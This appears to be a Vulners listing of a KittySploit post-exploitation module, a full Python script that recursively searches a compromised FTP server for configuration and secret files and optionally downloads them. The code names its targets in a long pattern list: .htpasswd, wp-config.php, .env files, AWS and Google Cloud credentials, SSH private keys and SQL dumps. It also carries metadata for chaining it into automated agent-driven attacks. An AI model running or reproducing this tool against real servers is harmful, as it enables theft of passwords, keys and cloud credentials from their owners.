Lucene search
+L

FTP Gather Configuration Files

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 7 Views

FTP Gather Configuration Files searches FTP servers for configuration files containing credentials.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.ftp.ftp_client import FTPClientMixin
import os
import re

class Module(Post, FTPClientMixin):
    """FTP Configuration File Enumeration Module"""
    
    __info__ = {
        "name": "FTP Gather Configuration Files",
        "description": "Searches for configuration files on FTP server that may contain sensitive information (passwords, API keys, database credentials, etc.)",
        "author": "KittySploit Team",
        "session_type": SessionType.FTP,
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    remote_path = OptString(".", "Remote directory path to search", False)
    max_depth = OptInteger(5, "Maximum directory depth to recurse", False)
    download_configs = OptBool(False, "Download found configuration files", False)
    output_dir = OptString("/output", "Local directory to save downloaded config files", False)
    
    def check(self):
        """Check if the module can run"""
        session_id_value = str(self.session_id)
        if not session_id_value:
            print_error("Session ID not set")
            return False
        
        if not self.framework or not hasattr(self.framework, 'session_manager'):
            print_error("Framework or session manager not available")
            return False
        
        session = self.framework.session_manager.get_session(session_id_value)
        if not session:
            print_error(f"Session {session_id_value} not found")
            return False
        
        # Try to get FTP connection to verify it works
        try:
            self.open_ftp()
            return True
        except Exception as e:
            print_error(f"FTP connection error: {e}")
            return False
    
    def _get_config_patterns(self) -> dict:
        """Get configuration file patterns to search for"""
        return {
            'Web Server Configs': [
                '.htaccess', '.htpasswd', 'httpd.conf', 'apache.conf', 'apache2.conf',
                'nginx.conf', 'nginx.conf.bak', 'web.config', 'httpd.conf.bak'
            ],
            'PHP Configs': [
                'config.php', 'configuration.php', 'config.inc.php', 'settings.php',
                'wp-config.php', 'local_settings.php', 'database.php', 'db.php',
                'db_config.php', 'config.ini', 'php.ini', '.env', '.env.local',
                '.env.production', 'composer.json'
            ],
            'Database Configs': [
                'database.yml', 'database.json', 'db.json', 'db.yaml',
                'mongodb.conf', 'redis.conf', 'my.cnf', 'my.ini'
            ],
            'Framework Configs': [
                'config.json', 'config.yaml', 'config.yml', 'settings.json',
                'application.properties', 'application.yml', 'application.yaml',
                'config.xml', 'settings.xml', 'pom.xml', 'build.xml'
            ],
            'Cloud/API Configs': [
                'credentials.json', 'credentials.yml', 'aws-credentials',
                'gcloud.json', 'azure.json', 'config.aws', '.aws/credentials',
                'service-account.json', 'firebase.json'
            ],
            'SSH/Keys': [
                'id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519', 'authorized_keys',
                'known_hosts', 'ssh_config', 'sshd_config', 'private_key',
                'private.key', 'secret.key'
            ],
            'Docker/K8s': [
                'docker-compose.yml', 'docker-compose.yaml', 'Dockerfile',
                'kubernetes.yaml', 'k8s.yaml', 'deployment.yaml'
            ],
            'CI/CD': [
                '.gitlab-ci.yml', '.travis.yml', 'circle.yml', 'Jenkinsfile',
                '.github/workflows/*.yml', 'azure-pipelines.yml'
            ],
            'Other Sensitive': [
                '.env', '.env.local', '.env.production', '.env.development',
                'secrets.json', 'secrets.yml', 'secret', 'secrets',
                'password.txt', 'passwords.txt', 'credentials.txt',
                'backup.sql', 'dump.sql', '*.sql.bak', '*.db.bak'
            ]
        }
    
    def _matches_pattern(self, filename: str, patterns: list) -> bool:
        """Check if filename matches any pattern"""
        filename_lower = filename.lower()
        for pattern in patterns:
            # Exact match
            if filename_lower == pattern.lower():
                return True
            # Wildcard match
            if '*' in pattern:
                pattern_re = pattern.replace('*', '.*').replace('.', r'\.')
                if re.match(pattern_re, filename_lower, re.IGNORECASE):
                    return True
            # Contains match
            if pattern.lower() in filename_lower:
                return True
        return False
    
    def _is_config_file(self, filename: str) -> tuple:
        patterns = self._get_config_patterns()
        for category, file_patterns in patterns.items():
            if self._matches_pattern(filename, file_patterns):
                return (True, category)
        return (False, None)
    
    def _search_config_files(self, path: str, depth: int = 0, found_files: list = None) -> list:
        """Recursively search for configuration files"""
        if found_files is None:
            found_files = []
        
        if depth > self.max_depth:
            return found_files
        
        try:
            files = self.list_files(path)
            
            for file_info in files:
                name = file_info.get('name', '')
                file_type = file_info.get('type', 'unknown')
                
                # Skip . and ..
                if name in ['.', '..']:
                    continue
                
                # Check if it's a configuration file
                is_config, category = self._is_config_file(name)
                
                if is_config:
                    remote_file = f"{path}/{name}".replace("//", "/")
                    if path == ".":
                        remote_file = name
                    
                    found_files.append({
                        'path': remote_file,
                        'name': name,
                        'category': category,
                        'size': file_info.get('size', '0'),
                        'date': file_info.get('date', '')
                    })
                    print_success(f"Found: {remote_file} ({category})")
                
                # Recurse into subdirectories
                if file_type == 'directory':
                    new_path = f"{path}/{name}".replace("//", "/")
                    if path == ".":
                        new_path = name
                    self._search_config_files(new_path, depth + 1, found_files)
            
            return found_files
            
        except ProcedureError as e:
            print_error(f"Error accessing {path}: {e}")
            return found_files
        except Exception as e:
            print_error(f"Error searching {path}: {e}")
            return found_files
    
    def _download_config_file(self, remote_path: str, local_path: str) -> bool:
        """Download a configuration file"""
        try:
            self.download_file(remote_path, local_path)
            return True
        except Exception as e:
            print_error(f"Failed to download {remote_path}: {e}")
            return False
    
    def run(self):
        """Run the configuration file enumeration"""
        try:            
            # Get connection info
            conn_info = self.get_ftp_connection_info()
            print_info(f"FTP Server: {conn_info.get('host', 'unknown')}:{conn_info.get('port', 21)}")
            print_info(f"Username: {conn_info.get('username', 'unknown')}")
            print_info(f"Search Path: {self.remote_path}")
            print_info(f"Max Depth: {self.max_depth}")
            print_info()
            
            # Change to target directory if specified
            if self.remote_path and self.remote_path != ".":
                try:
                    self.change_directory(self.remote_path)
                    print_info(f"Changed to: {self.remote_path}")
                except Exception as e:
                    print_warning(f"Could not change to {self.remote_path}: {e}")
                    print_info("Searching current directory instead...")
            
            # Create output directory if downloading
            if self.download_configs:
                os.makedirs(self.output_dir, exist_ok=True)
                print_info(f"Download directory: {self.output_dir}")
                print_info("")
            
            # Search for configuration files
            print_status("Searching for configuration files...")
            found_files = self._search_config_files(self.remote_path)
            print_info()

            if not found_files:
                print_error("No configuration files found")
                return True
            
            # Group by category
            by_category = {}
            for file_info in found_files:
                category = file_info['category']
                if category not in by_category:
                    by_category[category] = []
                by_category[category].append(file_info)
            
            # Display results
            print_success(f"Found {len(found_files)} configuration file(s):")
            
            for category, files in sorted(by_category.items()):
                print_info(f"{category}:")
                for file_info in files:
                    size_str = file_info.get('size', '0')
                    date_str = file_info.get('date', '')
                    print_info(f"  - {file_info['path']} ({size_str} bytes, {date_str})")
                print_info()
            
            # Download files if requested
            if self.download_configs and found_files:
                print_status("Downloading configuration files...")
                
                downloaded = 0
                for file_info in found_files:
                    remote_path = file_info['path']
                    # Create local path preserving directory structure
                    local_rel_path = remote_path.lstrip('./')
                    local_path = os.path.join(self.output_dir, local_rel_path)
                    
                    # Create directory if needed
                    local_dir = os.path.dirname(local_path)
                    if local_dir:
                        os.makedirs(local_dir, exist_ok=True)
                    
                    if self._download_config_file(remote_path, local_path):
                        downloaded += 1
                        print_success(f"  ✓ Downloaded: {local_path}")
                
                print_info()
                print_success(f"Downloaded {downloaded}/{len(found_files)} configuration files")
                print_status(f"Files saved to: {os.path.abspath(self.output_dir)}")
                 
            return True
            
        except ProcedureError:
            raise
        except Exception as e:
            raise ProcedureError(FailureType.Unknown, f"Error enumerating configuration files: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8
7